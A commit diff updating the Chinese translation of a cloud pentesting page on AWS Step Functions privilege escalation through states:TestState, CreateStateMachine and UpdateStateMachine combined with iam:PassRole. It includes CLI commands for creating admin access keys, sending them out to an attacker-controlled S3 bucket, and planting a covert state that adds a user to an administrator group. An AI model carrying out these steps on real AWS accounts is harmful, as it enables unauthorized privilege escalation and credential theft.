Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-26 01:02:51 +00:00
parent b61b858ed6
commit 489413bc9d

View File

@@ -12,26 +12,24 @@ For more information about this AWS service, check:
### 任务资源
这些权限提升技需要使用一些 AWS Step Functions 资源来执行所需的权限提升操作。
这些权限提升技需要使用一些 AWS Step Functions 资源来执行所需的权限提升操作。
在检查所有可能的操作时,您可以登录自己的 AWS 账户,选择要使用的操作并查看使用的参数,例如:
要查看所有可能的操作,你可以登录自己的 AWS 账户,选择要使用的操作并查看使用的参数,例如:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
或者,您也可以访问 AWS API 文档,查看每个操作的文档
或者也可以查看 AWS API 文档并检查每个操作的说明
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
**`states:TestState`** **`iam:PassRole`** 权限的攻击者可以测试任意状态并将任意 IAM 角色传递给它,而无需创建或更新现有的状态机,从而可能利用这些角色的权限未经授权地访问其他 AWS 服务。 这些权限结合使用,可能导致广泛的未授权操作,范围包括操纵工作流、修改数据、数据泄露、资源操纵以及权限提升。
**`states:TestState`** **`iam:PassRole`** 权限的攻击者可以在不创建或更新现有状态机的情况下测试任意状态并将任意 IAM 角色传递给它,从而可能利用这些角色的权限其他 AWS 服务进行未授权访问。两者结合可能导致广泛的未授权操作,包括操纵工作流以更改数据、导致数据泄露、操控资源以及权限提升。
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
下面的示例展示了如何使用这些权限 AWS 环境的一个宽松角色来测试一个 state该 state **`admin`** 用户创建访问密钥。
该宽松角色应关联任意高权限策略(例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**),以允许该 state 执行 **`iam:CreateAccessKey`** 操作:
下面的示例展示了如何测试一个会为 **`admin`** 用户创建 access key 的 state方法是利用这些权限以及 AWS 环境的一个宽松 role。该宽松 role 应当关联任意高权限 policy例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**),从而允许该 state 执行 **`iam:CreateAccessKey`** 操作:
- **stateDefinition.json**:
```json
@@ -61,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
**潜在影响**未经授权执行和操工作流并访问敏感资源,可能导致重大安全漏洞。
**潜在影响**: 未经授权执行和操工作流并访问敏感资源,可能导致重大安全漏洞。
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
**`states:CreateStateMachine`** **`iam:PassRole`** 的攻击者可以创建一个状态机并为其指定任意 IAM 角色,从而利用该角色的权限未经授权地访问其他 AWS 服务。与之前的 privesc 技术(**`states:TestState`** & **`iam:PassRole`**)不同,方法本身不会自动执行你还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限(**`states:StartSyncExecution`** **不适用于标准工作流**,仅用于 Express 状态机)才能启动并执行该状态机。
**`states:CreateStateMachine`**& **`iam:PassRole`** 的攻击者能够创建一个状态机并为其指定任意 IAM 角色,从而该角色的权限其他 AWS 服务进行未授权访问。与之前的提权技术(**`states:TestState`** & **`iam:PassRole`**)不同,这种方法本身不会自动执行你还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限(**`states:StartSyncExecution`** **标准工作流****不可用****仅用于表达状态机**才能启动并执行该状态机。
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
以下示例展示如何创建一个状态机,为 **`admin`** 用户创建一个访问密钥并将该访问密钥外泄到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境中一个权限宽松角色。这个权限宽松角色应具有任意高权限策略(例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**),允许状态机执行 **`iam:CreateAccessKey`** **`s3:putObject`** 操作。
以下示例展示如何创建一个状态机,为 **`admin`** 用户创建访问密钥并将该访问密钥外泄到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境中一个宽松角色。宽松角色应关联任一高权限策略(例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**允许状态机执行 **`iam:CreateAccessKey`** & **`s3:putObject`** 操作。
- **stateMachineDefinition.json**:
```json
@@ -117,7 +115,7 @@ aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--
}
}
```
- **Command** 执行以 **创建状态机**
- **命令** 用于 **创建状态机**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
@@ -125,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Command** 用于 **启动先前创建的状态机的执行**
- **命令** 用于 **启动先前创建的状态机的执行**
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -134,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> 攻击者控制的 S3 bucket 应具有接受来自受害者账的 s3:PutObject 操作的权限。
> 攻击者控制的 S3 存储桶应具有接受来自受害者账的 s3:PutObject 操作的权限。
**Potential Impact**: 未经授权的工作流执行和操作以及对敏感资源的访问,可能导致严重的安全漏洞。
**潜在影响**未经授权的执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。
### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
### `states:UpdateStateMachine` &(并非总是需要)`iam:PassRole`
具有 **`states:UpdateStateMachine`** 权限的攻击者能够修改状态机的定义,添加额外的隐蔽状态,这些状态可能导致 privilege escalation。这样当合法用户启动状态机的执行时这个新的恶意隐蔽状态将被执行从而实现 privilege escalation
具有 **`states:UpdateStateMachine`** 权限的攻击者能够修改状态机state machine的定义,可以添加额外的隐蔽状态,从而可能导致权限提升。这样,当合法用户启动该 state machine 的执行时,这个新的恶意隐蔽状态将被执行,权限提升就会成功
根据与状态机关联的 IAM Role 的宽松程度,攻击者会面临两种情况:
取决于与该 state machine 关联的 IAM Role 的宽松程度,攻击者会面临两种情况:
1. **Permissive IAM Role**: 如果与状态机关联的 IAM Role 已经很宽松(例如附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),那么在提升权限时不需要 **`iam:PassRole`** 权限,因为无需更新 IAM Role仅修改状态机定义就足够。
2. **Not permissive IAM Role**: 与前一种情况相反,在此情况下攻击者还需要 **`iam:PassRole`** 权限,因为除了修改状态机定义外,还必须将一个宽松的 IAM Role 关联到该状态机
1. **权限宽松的 IAM Role**如果与该 state machine 关联的 IAM Role 已经很宽松(例如附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),不需要 **`iam:PassRole`** 权限来提升权限,因为无需同时更新 IAM Role仅修改 state machine 定义就足够
2. **权限不宽松的 IAM Role**与前一种情况相反,这种情况下攻击者还需要 **`iam:PassRole`** 权限,因为除了修改 state machine 定义外,还需要将一个权限宽松的 IAM Role 关联到该 state machine
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
下面的示例示了如何更新一个仅调用 HelloWorld Lambda 函数的合法状态机,以便添加一个额外的状态,将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM Group。这样,当合法用户启动更新后状态机的执行时,这个新的恶意隐蔽状态将被执行,从而实现权限提升。
下面的示例示了如何更新一个仅调用 HelloWorld Lambda function 的合法状态机,以便添加一个额外的状态,该状态会将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 。这样,当合法用户启动更新后状态机的执行时,这个新的恶意隐蔽状态将被执行,从而实现权限提升。
> [!WARNING]
> 如果该状态机没有关联一个权限的 IAM Role那么在更新 IAM Role 以关联宽权限 IAM Role 时,还需要 **`iam:PassRole`** 权限(例如附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色)。
> 如果该状态机没有关联一个具有宽松权限的 IAM 角色,则还需要 **`iam:PassRole`** 权限来更新 IAM 角色,以便关联一个具有宽松权限的 IAM 角色(例如附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色)。
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -220,7 +218,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
{{#endtab }}
{{#endtabs }}
- **命令** 用于 **更新** **合法状态机**
- **命令** 执行以 **更新** **合法状态机**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
@@ -228,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potential Impact**: 未授权地执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。
**潜在影响**: 未授权地执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。
{{#include ../../../../banners/hacktricks-training.md}}